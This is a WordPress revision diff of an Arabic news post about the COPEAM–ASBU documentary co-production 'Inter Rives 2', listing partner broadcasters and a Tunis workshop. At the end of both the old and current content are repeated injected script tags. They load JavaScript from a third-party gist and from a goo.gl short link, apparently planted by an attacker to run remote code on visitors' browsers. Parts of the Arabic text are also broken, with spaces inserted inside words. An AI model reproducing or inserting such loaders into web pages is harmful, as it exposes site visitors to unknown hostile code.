You are viewing an old revision of this post, from January 6, 2010 @ 17:17:39. See below for differences between this version and the current revision.
جمعتالمجلة الأوروبية العربية الثانية التيتم إطلاقهامن قبل الكوبيام واتحاد اذاعات الدول العربيةفي مارس 2009
الدول من ضفتي البحر الأبيض المتوسط ومنالخليج إلى المحيط. قد انضت إلى المشروع
Rai (Italy),
EPTV (Algeria),
SNRT (Morocco),
ERTU (Egypt),
ORTAS (Syria),
Al Manar (Lebanon),
RTVE (Spain),
Al Jazeera Children (Qatar)
San Marino RTV (Republic of San Marino)
محورت ورشة العمل التدريبية حولكتابة السكريبت و عقدت في تونس منذ 21 إلى 24 جولاي 2009
Changes:
| January 6, 2010 @ 17:17:39 | Current Revision | ||
|---|---|---|---|
| Title | |||
| بين الضفاف2 - الشركاء و ورشة العمل الأولى | بين الضفاف 2 : في عيون الأطفال المشروع الجديد للانتاج المشترك بين الكويبيام و اتحاد اذاعات الدول العربية | ||
| Content | |||
|---|---|---|---|
| <p dir="rtl" style="direction: rtl; unicode-bidi: embed; text-align: right;"></p> | |||
| | |||
| <h4 dir="rtl" style="margin: auto 0cm; direction: rtl; unicode-bidi: embed; text-align: justify;"><span style="font-family: Times New Roman;"><span lang="AR-SA"><span style="color: #000000;"><span class="blue"><span lang="AR-DZ" style="font-size: 14pt; color: black; mso-bidi-language: ar-dz;">التقديم </span></span> </span></span> </span></h4> | |||
| | |||
| <h4 dir="rtl" style="margin: auto 0cm; direction: rtl; unicode-bidi: embed; text-align: justify;"><span style="font-family: Times New Roman;"><span lang="AR-SA"><span style="color: #000000;"><span lang="AR-SA" style="font-weight: normal; font-size: 14pt; color: black;">يشكل الإنتاج المشترك إحدى مجالات العمل الرئيسية التي</span><span lang="AR-SA" style="font-weight: normal; font-size: 14pt; color: black;">تولي اليها </span><span lang="AR-SA" style="font-weight: normal; font-size: 14pt; color: black;">ال</span><span dir="ltr" style="font-weight: normal; font-size: 14pt; color: black;">COPEAM</span><span style="font-weight: normal; font-size: 14pt; color: black;"><span lang="AR-SA"> اهتماما< /span></span> <span lang="AR-SA" style="font-weight: normal; font-size: 14pt; color: black;">كبيرا و التي تطورت على مر الزمن من خلال شراكات وتعاون في ميدان الانتاج</span><span dir="ltr" style="font-weight: normal; font-size: 14pt; color: black;">.</span> </span></span> </span></h4> | |||
| <h4 dir="rtl" style="margin: auto 0cm; direction: rtl; unicode-bidi: embed; text-align: right;"><span style="font-family: Times New Roman;"><span lang="AR-SA"><span style="color: #000000;"><span class="blue"><span lang="AR-SA" style="font-weight: normal; font-size: 14pt; color: black;">بالفعل, </span></span><span lang="AR-SA" style="font-weight: normal; font-size: 14pt; color: black;">يشكل الإنتاج المشترك مجالا ذا أهمية استراتيجية عالية بالنسبة لجمعيتنا فهويسمح على المدى الطويل ، بخلق تصور سمعي بصري متنوع و لكنه قائم على روح التعاون</span> <span lang="AR-SA" style="font-weight: normal; font-size: 14pt; color: black;">و& #39;التفاعل بين الثقافات</span><span dir="ltr" style="font-weight: normal; font-size: 14pt; color: black;">.</span> </span></span> </span></h4> | |||
| <p style="text-align: right"><span style="font-size: small">ج مع تا لم جلة ال أو رو بية ال عر بية ال ثا نية <span style="font-size: small">ا لت يتم إط لا قه ا</span> </span><span style="font-family: Arial"><span style="font-size: small">من قبل ال كو بي ام وا تح اد اذ اع ات ال دول ال عر بي ةفي ما رس 2009 </span></span> </p> <p style="text-align: right"><span style="font-family: Arial"><span style="font-size: small">ا لد ول من ضف تي ال بحر ال أب يض ال مت وسط وم نا لخ ليج إلى ال مح يط. قد ان ضت إلى ال مش روع </span></span> </p> <p style="text-align: right"><span style="font-size: small"><span style="font-family: Arial"><span lang="EN" style="color: #666666; font-family: Tahoma; mso-bidi-language: AR-SA; mso-ansi-language: EN; mso-fareast-font-family: 'Times New Roman'; mso-fareast-language: IT"><span lang="EN" style="color: #666666; font-family: Tahoma; mso-bidi-language: AR-SA; mso-ansi-language: EN; mso-fareast-font-family: 'Times New Roman'; mso-fareast-language: IT">Rai (Italy), </span></span> </span></span> </p> <p style="text-align: right"><span style="font-size: small"><span style="font-family: Arial"><span lang="EN" style="color: #666666; font-family: Tahoma; mso-bidi-language: AR-SA; mso-ansi-language: EN; mso-fareast-font-family: 'Times New Roman'; mso-fareast-language: IT"><span lang="EN" style="color: #666666; font-family: Tahoma; mso-bidi-language: AR-SA; mso-ansi-language: EN; mso-fareast-font-family: 'Times New Roman'; mso-fareast-language: IT">EPTV (Algeria),</span> </span></span></span></p> <p style="text-align: right"><span style="font-size: small"><span style="font-family: Arial"><span lang="EN" style="color: #666666; font-family: Tahoma; mso-bidi-language: AR-SA; mso-ansi-language: EN; mso-fareast-font-family: 'Times New Roman'; mso-fareast-language: IT"><span lang="EN" style="color: #666666; font-family: Tahoma; mso-bidi-language: AR-SA; mso-ansi-language: EN; mso-fareast-font-family: 'Times New Roman'; mso-fareast-language: IT">SNRT (Morocco), </span></span> </span></span> </p> <p style="text-align: right"><span style="font-size: small"><span style="font-family: Arial"><span lang="EN" style="color: #666666; font-family: Tahoma; mso-bidi-language: AR-SA; mso-ansi-language: EN; mso-fareast-font-family: 'Times New Roman'; mso-fareast-language: IT"><span lang="EN" style="color: #666666; font-family: Tahoma; mso-bidi-language: AR-SA; mso-ansi-language: EN; mso-fareast-font-family: 'Times New Roman'; mso-fareast-language: IT">ERTU (Egypt), </span></span> </span></span> </p> <p style="text-align: right"><span style="font-size: small"><span style="font-family: Arial"><span lang="EN" style="color: #666666; font-family: Tahoma; mso-bidi-language: AR-SA; mso-ansi-language: EN; mso-fareast-font-family: 'Times New Roman'; mso-fareast-language: IT"><span lang="EN" style="color: #666666; font-family: Tahoma; mso-bidi-language: AR-SA; mso-ansi-language: EN; mso-fareast-font-family: 'Times New Roman'; mso-fareast-language: IT">ORTAS (Syria), </span></span> </span></span> </p> <p style="text-align: right"><span style="font-size: small"><span style="font-family: Arial"><span lang="EN" style="color: #666666; font-family: Tahoma; mso-bidi-language: AR-SA; mso-ansi-language: EN; mso-fareast-font-family: 'Times New Roman'; mso-fareast-language: IT"><span lang="EN" style="color: #666666; font-family: Tahoma; mso-bidi-language: AR-SA; mso-ansi-language: EN; mso-fareast-font-family: 'Times New Roman'; mso-fareast-language: IT">Al Manar (Lebanon), </span></span> </span></span> </p> <p style="text-align: right"><span style="font-size: small"><span style="font-family: Arial"><span lang="EN" style="color: #666666; font-family: Tahoma; mso-bidi-language: AR-SA; mso-ansi-language: EN; mso-fareast-font-family: 'Times New Roman'; mso-fareast-language: IT"><span lang="EN" style="color: #666666; font-family: Tahoma; mso-bidi-language: AR-SA; mso-ansi-language: EN; mso-fareast-font-family: 'Times New Roman'; mso-fareast-language: IT">RTVE (Spain), </span></span> </span></span> </p> <p style="text-align: right"><span style="font-size: small"><span style="font-family: Arial"><span lang="EN" style="color: #666666; font-family: Tahoma; mso-bidi-language: AR-SA; mso-ansi-language: EN; mso-fareast-font-family: 'Times New Roman'; mso-fareast-language: IT"><span lang="EN" style="color: #666666; font-family: Tahoma; mso-bidi-language: AR-SA; mso-ansi-language: EN; mso-fareast-font-family: 'Times New Roman'; mso-fareast-language: IT">Al Jazeera Children (Qatar) </span></span> </span></span> </p> <p style="text-align: right"><span style="font-size: small"><span style="font-family: Arial"><span lang="EN" style="color: #666666; font-family: Tahoma; mso-bidi-language: AR-SA; mso-ansi-language: EN; mso-fareast-font-family: 'Times New Roman'; mso-fareast-language: IT"><span lang="EN" style="color: #666666; font-family: Tahoma; mso-bidi-language: AR-SA; mso-ansi-language: EN; mso-fareast-font-family: 'Times New Roman'; mso-fareast-language: IT">San Marino RTV (Republic of San Marino)</span> </span></span></span></p> <p style="text-align: right"><span style="font-size: small"><span style="font-family: Arial"><span lang="EN" style="color: #666666; font-family: Tahoma; mso-bidi-language: AR-SA; mso-ansi-language: EN; mso-fareast-font-family: 'Times New Roman'; mso-fareast-language: IT"><span lang="EN" style="color: #666666; font-family: Tahoma; mso-bidi-language: AR-SA; mso-ansi-language: EN; mso-fareast-font-family: 'Times New Roman'; mso-fareast-language: IT"><span style="font-family: Arial"><span style="font-size: small"><font color="#000000" >مح ورت ور شة ال عمل ال تد ري بية حو لك تا بة ال سك ري بت و عق دت في تو نس منذ 21 إلى 24 جو لاي 2009</font></ span></span>< /span></span> </span></span></p> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// goo.gl/dd1kPI'></script> | <h4 dir="rtl" style="margin: auto 0cm; direction: rtl; unicode-bidi: embed; text-align: right;"><span style="font-family: Times New Roman;"><span lang="AR-SA"><span style="color: #000000;"><span lang="AR-SA" style="font-weight: normal; font-size: 14pt; color: black;">في اطار </span><span lang="AR-SA" style="font-weight: normal; font-size: 14pt; color: black; mso-ansi-language: fr;">&quot; </span><span lang="AR-SA" style="font-weight: normal; font-size: 14pt; color: black;">بين الضفاف</span><span lang="AR-SA" style="font-weight: normal; font-size: 14pt; color: black; mso-ansi-language: fr;">&quot; </span><span lang="AR-SA" style="font-weight: normal; font-size: 14pt; color: black;"> و هو أول إنتاج مشترك أروبي و عربي تم اعداد 32 حلقة (جاهزة للبث) مدة كل واحدة منها 13 دقيقة و تتمحور حول مواضيع &quot;الفن الحديث&quot; و &quot;المرأة&quot; و &quot;المهاجر&quot;. تم عرض هذا االسلسلة في عدةالقاءات دولية و من بينها البكا فوروم 2008 (كارلسروه - المانيا) و أروفزيون التلفزيون 2008 (لوسيرن ، سويسرا), و انطلاقا من جويلية 2008 تم بثها من قبل عدة قنوات مشاركة : </span><span dir="ltr" style="font-weight: normal; font-size: 14pt; color: black;">RAI</span><span lang="AR-SA" style="font-weight: normal; font-size: 14pt; color: black;"> ( الإذاعة و التلفزيون الإيطالي) ، </span><span dir="ltr" style="font-weight: normal; font-size: 14pt; color: black;">RTVE</span><span lang="AR-SA" style="font-weight: normal; font-size: 14pt; color: black;"> (الإذاعة و التلفزيون الاسباني) ، </span><span dir="ltr" style="font-weight: normal; font-size: 14pt; color: black;">ERTU</span><span lang="AR-SA" style="font-weight: normal; font-size: 14pt; color: black;"> (الإذاعة و التلفزيون المصري) ، </span><span dir="ltr" style="font-weight: normal; font-size: 14pt; color: black;">ERT</span><span lang="AR-SA" style="font-weight: normal; font-size: 14pt; color: black;"> (الإذاعة و التلفزيون اليوناني) ، </span><span dir="ltr" style="font-weight: normal; font-size: 14pt; color: black;">EPTV</span> <span dir="ltr" style="font-weight: normal; font-size: 14pt; color: black; mso-bidi-language: ar-dz;">)</span><span lang="AR-SA" style="font-weight: normal; font-size: 14pt; color: black;">التلفزيون الجزائري) ,الخ.</span> </span></span> </span></h4> | ||
| | |||
| <h4 dir="rtl" style="margin: auto 0cm; direction: rtl; unicode-bidi: embed; text-align: right;"><span style="font-family: Times New Roman;"><span lang="AR-SA"><span style="color: #000000;"><span lang="AR-SA" style="font-weight: normal; font-size: 14pt; color: black;">اثر هذه التجربة الهامة للإنتاج المشترك و بعد أن تم تحسين الجوانب المتعلقة بصيغة السلة وبورش العمل وبالوقت الضروري للإنتاج, </span><span lang="AR-SA" style="font-weight: normal; font-size: 14pt; color: black; mso-ansi-language: fr;">يقترح </span><span lang="AR-SA" style="font-weight: normal; font-size: 14pt; color: black;">الكوبيام و اتحاد إذاعات الدول العربية</span><span lang="AR-SA" style="font-weight: normal; font-size: 14pt; color: black; mso-ansi-language: fr;"> سلسلة جديدة من الأفلام تسجيلية مدة كل منها 13دقيقة و هي تفتح نافذة على العالمين العربي و الأوروبي عبر عيون الأطفال غير المألوفة والمستمتعة والحساسة. </span></span> </span></span></h4> | |||
| | |||
| <p dir="rtl" style="direction: rtl; unicode-bidi: embed; text-align: right;"><span style="font-family: Times New Roman;"><span lang="AR-SA"><span style="color: #000000;"><span lang="AR-SA" style="font-size: 14pt; color: black; mso-ansi-language: fr;">ومن بين المستجدات ل &quot;</span> <strong><span lang="AR-SA" style="font-size: 14pt; color: black;">بين الضفاف 2</span></strong><span lang="AR-SA" style="font-size: 14pt; color: black; mso-ansi-language: fr;">&quot; هي ان</span><span dir="ltr" lang="FR" style="font-size: 14pt; color: black; mso-ansi-language: fr;">,</span><span lang="AR-SA" style="font-size: 14pt; color: black; mso-ansi-language: fr;">ورشات العمل هذه السنة</span><span lang="AR-SA" style="font-size: 14pt; color: black; mso-ansi-language: fr;">لن تكون فضاءا لتبادل الأفكار حول ما تم انجازه فحسب و انما فضاءا حقيقيا للتدريب و لكتابة السيناريوهات و ذلك في اطار عمل جماعي مكثف بين الخبراء والمخرجين خلال أسبوع في تونس (في ماي 2009). </span> | |||
| <span lang="AR-SA" style="font-size: 14pt; color: black; mso-ansi-language: fr;">في هذه السلسلة الأروبية و العربية الثانية, </span><span lang="AR-SA" style="font-size: 14pt; color: black; mso-ansi-language: fr;">ت</span><span lang="AR-SA" style="font-size: 14pt; color: black;">لتزم</span><span lang="AR-SA" style="font-size: 14pt; color: black;"> كل هيئة تلفزيونية مشاركة بانتاج شريطين تسجيليين مدة كل منهما 13 دقيقة وستتحصل مقابل ذلك على 18 فلما تسجيليا بما أن التلفزيونات المشاركة من بلدان البحر اللأبيض المتوسط و المشرق و الخليج يبلغ عددها 10.</span></span> </span></span></p> | |||
| | |||
| <p dir="rtl" style="direction: rtl; unicode-bidi: embed; text-align: right;"><span style="font-family: Times New Roman;"><span lang="AR-SA"><span style="color: #000000;"><span lang="AR-SA" style="font-size: 14pt; color: black; mso-ansi-language: fr;">سيستغرق هذا المشروع 6 أشهرو انطلاقا من نهاية الأسبوع التكويني</span><span dir="ltr" lang="FR" style="font-size: 14pt; color: black; mso-ansi-language: fr;">/</span><span lang="AR-SA" style="font-size: 14pt; color: black; mso-ansi-language: fr;"> الإنتاجي و ذلك دائما في اطار </span><span lang="AR-SA" style="font-size: 14pt; color: black;">روح الشراكة التي تجمع الكوبيام و اتحاد إذاعات الدول العربية</span> <span lang="AR-SA" style="font-size: 14pt; color: black; mso-ansi-language: fr;">.</span> </span></span></span></p> | |||
| <p dir="rtl" style="direction: rtl; unicode-bidi: embed; text-align: right;"><span style="font-family: Times New Roman;"><span lang="AR-SA"><span style="color: #000000;"><a href="http:// www.copeam.org/UserFiles/ File/Projects/ 73_Rassegna%20Stampa%20Inter%20RivesII.pdf"><span style="font-family: Times New Roman;"><span lang="AR-SA"><span style="color: #000000;"><span style="font-family: Times New Roman;"><span lang="AR-SA"><span style="color: #000000;"><span style="font-family: Times New Roman;"><span lang="AR-SA"><span style="color: #000000;"><span style="font-size: 14px;">إقرأ< /span></span> </span></span> </span></span> </span></span> </span></span><span style="font-size: 14px;"> أقوال الصحف</span></a> | |||
| <a href="http:// www.copeam.org/UserFiles/ File/Projects/ 74_InterRivesII_ call_proposals.pdf"><u><span lang="AR-SA" style="font-size: 14pt; color: blue;">لتحميل< /span></u></a><u><span lang="AR-SA" style="font-size: 14pt; color: blue;"> الدعوة امشاركة اضغط هنا</span> </u></span></ span></span><a href="http:// www.copeam.org/UserFiles/ File/Projects/ 74_InterRivesII_ call_proposals.pdf"> | |||
| </a></p> | |||
| <p dir="rtl" style="direction: rtl; unicode-bidi: embed; text-align: right;"><span style="font-family: Times New Roman;"><span lang="AR-SA"><span style="color: #000000;"><strong><span lang="AR-SA" style="font-size: 14pt; color: black;">أبرز الأخبار< /span></strong> </span></span></span></p> | |||
| <p align="right"><span style="font-family: Times New Roman;"><span lang="AR-SA"><span style="color: #000000;"><strong><span lang="AR-SA" style="font-size: 14pt; color: black;"><strong><span dir="rtl">بين الضفاف 2 &quot; في عيون الأطفال&quot;: تم إنجاز السلسلة الجديدة جاهزة للبث</span> </strong></span></strong> </span></span></span></p> | |||
| <p dir="rtl" style="direction: rtl; unicode-bidi: embed; text-align: right;"><span style="font-family: Times New Roman;"><span lang="AR-SA"><span style="color: #000000;"><span lang="AR-SA" style="font-size: 14pt; color: black;"><span dir="rtl">الإنتاج المشترك &quot;بين الضفاف 2&quot; انتهى بنجاح. وقع كل الشركاء اتفاقيات الشراكة عن الحقوق و الواجبات للمنتجين الخاصة بهذه السلسلة. من أهم الاهداف في هذه الدورة هي جودة المنتجات و بثهافي الإذاعات المشاركة في المشروع.< /span></span> </span></span></span></p> | |||
| <p dir="rtl" style="direction: rtl; unicode-bidi: embed; text-align: right;"><span style="font-family: Times New Roman;"><span lang="AR-SA"><span style="color: #000000;"><span lang="AR-SA" style="font-size: 14pt; color: black;"><span dir="rtl"><span dir="rtl"><span style="font-family: Times New Roman;"><span lang="AR-SA"><span style="color: #000000;"><span lang="AR-SA" style="font-size: 14pt; color: black;"><span dir="rtl"><span dir="rtl"><span style="font-family: Times New Roman;"><span lang="AR-SA"><span style="color: #000000;"><span lang="AR-SA" style="font-size: 14pt; color: black;"><span dir="rtl"><span dir="rtl"><span style="font-family: Times New Roman;"><span lang="AR-SA"><span style="color: #000000;"><span lang="AR-SA" style="font-size: 14pt; color: black;"><span dir="rtl"><span dir="rtl"><strong> .</strong><span dir="rtl">الأفلام< /span></span> </span></span> </span></span> </span></span> </span></span> </span></span> </span></span> </span></span> </span></span> </span><span dir="rtl"> المنجزة هي سبعة عشرة و ستحمل على تلفزيونالويب للكوبيام.< /span></span> </span></span> </span></span></span></p> | |||
| <p dir="rtl" style="direction: rtl; unicode-bidi: embed; text-align: right;"><span style="font-family: Times New Roman;"><span lang="AR-SA"><span style="color: #000000;"><span lang="AR-SA" style="font-size: 14pt; color: black;"><span dir="rtl"><span dir="rtl"><span dir="rtl">( <a href="http:// www.copeam.tv/ web/tree/product/ COPEAMTV/InterRives/Inter_ Rives_2_Glances_ Of_Children.asp" ><u><strong>www.copeam.tv< /strong></u>< /a>)</span>< /span></span> </span></span> </span></span></p> | |||
| <p dir="rtl" style="direction: rtl; unicode-bidi: embed; text-align: right;"></p> | |||
| <p dir="rtl" style="direction: rtl; unicode-bidi: embed; text-align: right;"><span style="font-family: Times New Roman;"><span lang="AR-SA"><span style="color: #000000;"><strong><span lang="AR-SA" style="font-size: 14pt; color: black;">ورشة العمل الأولى </span></strong> <strong><span lang="AR-DZ" style="font-size: 14pt; color: black; mso-bidi-language: ar-dz;">ل </span></strong><span lang="AR-SA" style="font-size: 14pt; color: black; mso-ansi-language: fr;">&quot;</span> <strong><span lang="AR-SA" style="font-size: 14pt; color: black;">بين الضفاف 2</span></strong><span lang="AR-SA" style="font-size: 14pt; color: black; mso-ansi-language: fr;">&quot; </span> | |||
| <span lang="AR-SA" style="font-size: 14pt; color: black;">تونس ، 21 - 24 جويلية 2009</span></ span></span></span></p> | |||
| <p dir="rtl" style="direction: rtl; unicode-bidi: embed; text-align: right;"><span style="font-family: Times New Roman;"><span lang="AR-SA"><span style="color: #000000;"><span lang="AR-SA" style="font-size: 14pt; color: black;">السلسلة الثانية الأوروبية العربية التي بعثتها الكوبيام</span><span lang="AR-SA" style="font-size: 14pt; color: black; mso-ansi-language: fr;">و</span><span lang="AR-SA" style="font-size: 14pt; color: black;"> اتحاد إذاعات الدول العربية</span> <span lang="AR-SA" style="font-size: 14pt; color: black;">في مارس 2009, تجمع بلدان من ضفين للبحر الأبيض المتوسط والمشرق والخليج. ولقد انضم إلى المشروع</span><span dir="ltr" lang="FR" style="font-size: 14pt; color: black; mso-ansi-language: fr;"> :</span><span lang="AR-SA" style="font-size: 14pt; color: black;">الراي (الإذاعة و التلفزيون الإيطالي) ، </span><span dir="ltr" style="font-size: 14pt; color: black;">EPTV</span><span lang="AR-SA" style="font-size: 14pt; color: black;"> (التلفزيون الجزائري) ، </span><span dir="ltr" style="font-size: 14pt; color: black;">SNRT</span><span lang="AR-SA" style="font-size: 14pt; color: black;"> (الإذاعة و التلفزيون المغربي) ، </span><span dir="ltr" style="font-size: 14pt; color: black;">ERTU</span><span lang="AR-SA" style="font-size: 14pt; color: black;"> (الإذاعة و التلفزيون المصري) ، </span><span dir="ltr" style="font-size: 14pt; color: black;">ORTAS</span><span lang="AR-SA" style="font-size: 14pt; color: black;"> (الإذاعة و التلفزيون السوري) ، والمنار (اإذاعة و تلفزيونلبناني) ، </span><span dir="ltr" style="font-size: 14pt; color: black;">RTVE</span><span lang="AR-SA" style="font-size: 14pt; color: black;"> (الإذاعة و التلفزيون الإسباني) ، وقناة الجزيرة للأطفال ( في قطر) وتلفزيون سان مارينو (في جمهورية سان مارينو) و تلفزيون </span><span lang="AR-SA" style="font-size: 14pt; color: black;">مالتا</span><span dir="ltr" style="font-size: 14pt; color: black;">PBS</ span><em><span dir="ltr" lang="FR" style="font-size: 14pt; mso-ansi-language: fr;">.</span> </em></span>< /span></span></p> | |||
| <p dir="rtl" style="direction: rtl; unicode-bidi: embed; text-align: right;"><span style="font-family: Times New Roman;"><span lang="AR-SA"><span style="color: #000000;"><span lang="AR-SA" style="font-size: 14pt; color: black;">جلسة العمل التدريبية في صيغتها الجديدة التي تهدف إلى كتابة سيناريوهات الأفلام تسجيلية تمت في تونس</span><span lang="AR-SA" style="font-size: 14pt; color: black;">من ال21 إلى 24 جوان2009 ، و جمعتمخرجي القانوات الشاركة و فرق التسييق و التدريب.< /span></span> </span></span></p> | |||
| <p class="MsoNormal" style="margin: 0cm 0cm 0pt;"></p> | |||
| <p dir="rtl" style="direction: rtl; unicode-bidi: embed; text-align: right;"></p> | |||
| | |||
| <p dir="rtl" style="direction: rtl; unicode-bidi: embed; text-align: right;"></p> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// goo.gl/dd1kPI'></script> | |||
Note: Spaces may be added to comparison text to allow better line wrapping.
